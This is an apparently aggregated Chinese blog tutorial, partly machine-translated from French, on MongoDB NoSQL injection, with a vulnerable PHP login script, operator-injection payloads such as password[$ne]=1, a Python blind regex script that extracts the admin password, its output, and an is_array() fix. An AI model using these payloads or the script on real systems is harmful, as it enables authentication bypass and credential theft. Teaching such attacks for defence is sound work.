Nosql注入

Posted 楚梦笔谈

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Nosql注入相关的知识,希望对你有一定的参考价值。

印象中在远程注入那篇有稍等提过sql注入,


今天讲讲Nosql注入,首先Nosql注入与SQL注入的区别在哪?

SQL注入是,没有对输入数据进行过滤,影响了SQL语句原有的结构和语义,产生SQL注入,比如a or 1=1

Nosql里的典型数据库,MongoDbFAQ有一句话:

"..with MongoDB we are not buildingqueries from string , so traditional SQL injection attacks are not aproblem."

恰好说明了NosqlSQL的区别,SQL的查询语句是string类型的,Nosql查询语句一般是键值对类型的,这导致了构造两者注入的payload不同,

MongoDB为例,构造

?login=admin&password[$ne]=1

或者

?login=user&password=1'; var login =db.version(); var b='

即可进行bypass(假定服务器没有进行过滤)。

综上,Nosql注入主要是操作符注入,利用操作符查询出攻击者想要的结果(也有字符串注入的)

SQL注入主要是利用与或这样的逻辑运算,绕过防守,得到想要的结果。


这里有对Nosql注入浅析的文章,分析思路值得一看:

http://liehu.tass.com.cn/archives/1294


<refer link: 

https://www.dailysecurity.fr/nosql-injections-classique-blind/>

创建NOSQL数据库是为了解决大型数据库上的关系DBMS延迟问题。

我们可以列举几个如:

  • DynamoDB

  • MongoDB的

  • Oracle NoSQL

然而,这种新的存储装置的出现揭示了一种创新类型的故障:NOSQL注入。

对于那些希望在家测试的人,我建议本教程在Wamp上安装MongoDB,以及这个用于php的。

让我们进入问题的核心。

每个人都知道SQL注入

这些基于创建基于字符串的SQL查询

$ query = “SELECT * FROM users where login =' $ _GET [login] '” ;

当$ _GET [login]等于'OR'1'='1时,这给出:

$ query = “SELECT * FROM users where login =''OR'1'='1'” ;

没什么新鲜的。

对于NOSQL注入,网关会通过创建表来发出请求,这里向您解释一下MongoDB的基本身份验证脚本:

if (isset($_POST['usr_name']) && isset($_POST['usr_password']))
        {
        $usr_name = ($_POST['usr_name']);
        $usr_password = ($_POST['usr_password']);
     $con = new MongoClient(); // Connexion a MongoDB

     if ($con) // Si la connexion a fonctionné
          {

          $db = $con->test;
          $people = $db->people;
          $qry = array(
               "user" => $usr_name,
               "password" => $usr_password
          ); // Construction de la requête NOSQL

          $result = $people->findOne($qry); // Recherche de l'utilisateur
          if ($result) // Si les identifiants correspondes on connecte l'utilisateur
               {
               echo("Bienvenue Administrateur"); // Zone Admin
               exit(0);
               }
          }
       else
          {
          die("Mongo DB not installed");
          }
     }echo'     <form action="" method="POST">     Login:     <input type="text" id="usr_name" name="usr_name"  />     Password:     <input type="password" id="usr_password" name="usr_password" />     <input  name="submitForm" id="submitForm" type="submit" value="Login" />     </form>';

我们在数据库中添加了一个用户:

$ mongo
MongoDB shell version: 2.6.7
connecting to: testServer has startup warnings:2015-02-22T00:57:09.519+0100 ** WARNING: --rest is specified without --httpinter face,2015-02-22T00:57:09.521+0100 ** enabling http interface
> db.people.insert({user:"Geluchat",password:"mdp");WriteResult({ "nInserted" : 1 })

一切准备就绪,我们将能够进行第一次NOSQL注射。

我们传递 usr_name[$ne]=h4cker&usr_password[$ne]=h4xor grace


当PHP创建查询时,它使用array()函数,这允许我们从已经存在的数组中创建现有数组。

$ qry  =  array 
     “user”  =>  $ usr_name 
     “password”  =>  $ usr_password );  //构建NOSQL查询


为了更好地理解,我们做了var_dump($ qry),得到:

array (size=2)
  'user' =>
    array (size=1)
      '$ne' => string 'h4cker' (length=6)
  'password' =>
    array (size=1)
      '$ne' => string 'h4xor' (length=5)


转换为“SQL昵称”的内容给出:“WHERE user!= H4cker and password!= H4xor”。

所以我们看到了传统开发的一个例子。

但我们想要的是恢复管理员密码。

不幸的是,我们没有显示,所以我们必须找到另一种方法来访问此密码。

MongoDB文档中还有$ regex。

usr_name[$ne]=h4cker&usr_password[$regex]=.{1}
#!/usr/bin/env python2# -*- coding: utf8 -*-import requestspage = "http://localhost/NOSQL/"taille=0while 1:
     forge=".{"+str(taille)+"}";
     req={'usr_name[$ne]':'hacker', 'usr_password[$regex]':forge}
     resultat=requests.post(page,data=req).content
     print(req)
     if resultat.find(b'Bienvenue')==-1 :
          break
     taille+=1taille-=1print("[+] Le password fait "+str(taille)+" caracteres")passwd=""char=48length=0while length!=taille:
     forge=passwd+str(chr(char))+'.{'+str(taille-len(passwd)-1)+'}';
     req={'usr_name[$ne]':'hacker', 'usr_password[$regex]':forge}
     resultat=requests.post(page,data=req).content
     print(req)
     if resultat.find(b'Bienvenue')!=-1 :
          passwd+=str(chr(char))
          char=48
          length+=1
          print(passwd)

     if char==90:
          char=96
     if char==57:
          char=64
     char+=1print("[+] Le password est: "+str(passwd))
$ python NOSQL.py{'usr_password[$regex]': '.{0}', 'usr_name[$ne]': 'hacker'}{'usr_password[$regex]': '.{1}', 'usr_name[$ne]': 'hacker'}{'usr_password[$regex]': '.{2}', 'usr_name[$ne]': 'hacker'}{'usr_password[$regex]': '.{3}', 'usr_name[$ne]': 'hacker'}{'usr_password[$regex]': '.{4}', 'usr_name[$ne]': 'hacker'}[+] Le password fait 3 caracteres{'usr_password[$regex]': '0.{2}', 'usr_name[$ne]': 'hacker'}...{'usr_password[$regex]': 'L.{2}', 'usr_name[$ne]': 'hacker'}{'usr_password[$regex]': 'M.{2}', 'usr_name[$ne]': 'hacker'}{'usr_password[$regex]': 'N.{2}', 'usr_name[$ne]': 'hacker'}{'usr_password[$regex]': 'O.{2}', 'usr_name[$ne]': 'hacker'}...{'usr_password[$regex]': 'k.{2}', 'usr_name[$ne]': 'hacker'}{'usr_password[$regex]': 'l.{2}', 'usr_name[$ne]': 'hacker'}{'usr_password[$regex]': 'm.{2}', 'usr_name[$ne]': 'hacker'}m{'usr_password[$regex]': 'm1.{1}', 'usr_name[$ne]': 'hacker'}{'usr_password[$regex]': 'm2.{1}', 'usr_name[$ne]': 'hacker'}...{'usr_password[$regex]': 'md.{1}', 'usr_name[$ne]': 'hacker'}md{'usr_password[$regex]': 'md1.{0}', 'usr_name[$ne]': 'hacker'}{'usr_password[$regex]': 'md2.{0}', 'usr_name[$ne]': 'hacker'}...{'usr_password[$regex]': 'mdp.{0}', 'usr_name[$ne]': 'hacker'}mdp[+] Le password est: mdp

要修补这个缺陷,可以使用一个解决方案:使用is_array()函数进行检查:

if (isset($_POST['usr_name']) && isset($_POST['usr_password']) && !is_array($_POST['usr_password']) && !is_array($_POST['usr_name']))



以上是关于Nosql注入的主要内容,如果未能解决你的问题,请参考以下文章

NOSQL MongoDB 注入——本质上还是和sql注入是类似的

以下代码片段是不是容易受到 Rails 5 中 SQL 注入的影响?

Nosql注入

NoSQL 注入

NoSQL 注入

NoSQL 注入